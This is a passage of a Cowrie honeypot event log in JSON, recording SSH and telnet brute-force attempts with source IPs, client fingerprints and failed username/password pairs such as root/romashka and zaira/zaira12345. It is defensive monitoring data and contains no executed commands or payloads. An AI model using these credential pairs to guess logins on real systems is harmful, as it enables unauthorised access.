1@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:30.926520Z","src_ip":"80.66.85.226","session":"3a1724bb6eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loulou","message":"login attempt [root/loulou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:31.202316Z","src_ip":"80.66.85.226","session":"3a1724bb6eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:32.296783Z","src_ip":"80.66.85.226","session":"3a1724bb6eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49380,"dst_ip":"159.203.135.109","dst_port":22,"session":"62e8f61ed13d","protocol":"ssh","message":"New connection: 103.122.221.179:49380 (159.203.135.109:22) [session: 62e8f61ed13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:34.310023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:34.314854Z","src_ip":"103.122.221.179","session":"62e8f61ed13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:34.573181Z","src_ip":"103.122.221.179","session":"62e8f61ed13d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrr","message":"login attempt [root/rrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:35.348678Z","src_ip":"103.122.221.179","session":"62e8f61ed13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:36.609035Z","src_ip":"103.122.221.179","session":"62e8f61ed13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7cd6e510c20","protocol":"telnet","message":"New connection: 192.119.13.58:54120 (10.17.0.5:23) [session: a7cd6e510c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:44.446138Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9e5640922f6","protocol":"telnet","message":"New connection: 192.119.13.58:40676 (10.17.0.5:23) [session: c9e5640922f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:22:47.230283Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.160.157.36","src_port":48410,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a3a2561f05","protocol":"telnet","message":"New connection: 125.160.157.36:48410 (10.17.0.5:23) [session: e7a3a2561f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:08.941488Z"}
{"eventid":"cowrie.session.closed","duration":13.732619524002075,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:22.673982Z","src_ip":"125.160.157.36","session":"e7a3a2561f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":55341,"dst_ip":"159.203.135.109","dst_port":23,"session":"744c4c74e737","protocol":"telnet","message":"New connection: 186.195.16.41:55341 (159.203.135.109:23) [session: 744c4c74e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:24.394550Z"}
{"eventid":"cowrie.session.closed","duration":48.891024112701416,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:33.337030Z","src_ip":"192.119.13.58","session":"a7cd6e510c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e481db7dc9bd","protocol":"telnet","message":"New connection: 192.119.13.58:47464 (10.17.0.5:23) [session: e481db7dc9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:34.369948Z"}
{"eventid":"cowrie.session.closed","duration":50.40417456626892,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:23:37.634328Z","src_ip":"192.119.13.58","session":"c9e5640922f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":44754,"dst_ip":"10.17.0.5","dst_port":22,"session":"90bd0b958109","protocol":"ssh","message":"New connection: 94.159.110.201:44754 (10.17.0.5:22) [session: 90bd0b958109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:02.275708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:02.281220Z","src_ip":"94.159.110.201","session":"90bd0b958109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:02.407541Z","src_ip":"94.159.110.201","session":"90bd0b958109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:02.787057Z","src_ip":"94.159.110.201","session":"90bd0b958109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:03.927862Z","src_ip":"94.159.110.201","session":"90bd0b958109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.2179012298584,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:09.612331Z","src_ip":"186.195.16.41","session":"744c4c74e737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.58481168746948,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:20.954660Z","src_ip":"192.119.13.58","session":"e481db7dc9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55538,"dst_ip":"10.17.0.5","dst_port":22,"session":"9632d0e87dae","protocol":"ssh","message":"New connection: 62.133.63.178:55538 (10.17.0.5:22) [session: 9632d0e87dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:30.256709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:30.261420Z","src_ip":"62.133.63.178","session":"9632d0e87dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:30.385017Z","src_ip":"62.133.63.178","session":"9632d0e87dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romashka","message":"login attempt [root/romashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:30.761300Z","src_ip":"62.133.63.178","session":"9632d0e87dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc04eb2d105","protocol":"ssh","message":"New connection: 213.209.159.56:58950 (159.203.135.109:22) [session: abc04eb2d105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:31.459019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:31.463332Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:31.545209Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:31.886366Z","src_ip":"62.133.63.178","session":"9632d0e87dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira","message":"login attempt [zaira/zaira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:31.947272Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira1","message":"login attempt [zaira/zaira1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:33.032921Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira123","message":"login attempt [zaira/zaira123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:34.117871Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira1234","message":"login attempt [zaira/zaira1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:35.203324Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zaira","password":"zaira12345","message":"login attempt [zaira/zaira12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:36.289187Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:37.374815Z","src_ip":"213.209.159.56","session":"abc04eb2d105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6b0f78aba3","protocol":"telnet","message":"New connection: 192.119.13.58:45688 (10.17.0.5:23) [session: ec6b0f78aba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:24:53.889851Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37732,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ad9efbb36e2","protocol":"telnet","message":"New connection: 192.119.13.58:37732 (10.17.0.5:23) [session: 3ad9efbb36e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:13.370321Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":38498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a0572fafbd","protocol":"ssh","message":"New connection: 103.77.242.62:38498 (10.17.0.5:22) [session: f4a0572fafbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:23.203019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:23.214820Z","src_ip":"103.77.242.62","session":"f4a0572fafbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:23.450730Z","src_ip":"103.77.242.62","session":"f4a0572fafbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122112","message":"login attempt [root/122112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:24.158512Z","src_ip":"103.77.242.62","session":"f4a0572fafbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:25.398190Z","src_ip":"103.77.242.62","session":"f4a0572fafbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44482,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e2e287b0c9e","protocol":"ssh","message":"New connection: 103.27.238.116:44482 (159.203.135.109:22) [session: 9e2e287b0c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:25.595056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:25.600536Z","src_ip":"103.27.238.116","session":"9e2e287b0c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:25.868870Z","src_ip":"103.27.238.116","session":"9e2e287b0c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:26.674431Z","src_ip":"103.27.238.116","session":"9e2e287b0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:27.945644Z","src_ip":"103.27.238.116","session":"9e2e287b0c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.750441789627075,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:32.640209Z","src_ip":"192.119.13.58","session":"ec6b0f78aba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34047,"dst_ip":"159.203.135.109","dst_port":23,"session":"b881082a68ea","protocol":"telnet","message":"New connection: 186.195.16.41:34047 (159.203.135.109:23) [session: b881082a68ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:38.472715Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52726,"dst_ip":"10.17.0.5","dst_port":23,"session":"849d580c01d0","protocol":"telnet","message":"New connection: 192.119.13.58:52726 (10.17.0.5:23) [session: 849d580c01d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:25:40.853844Z"}
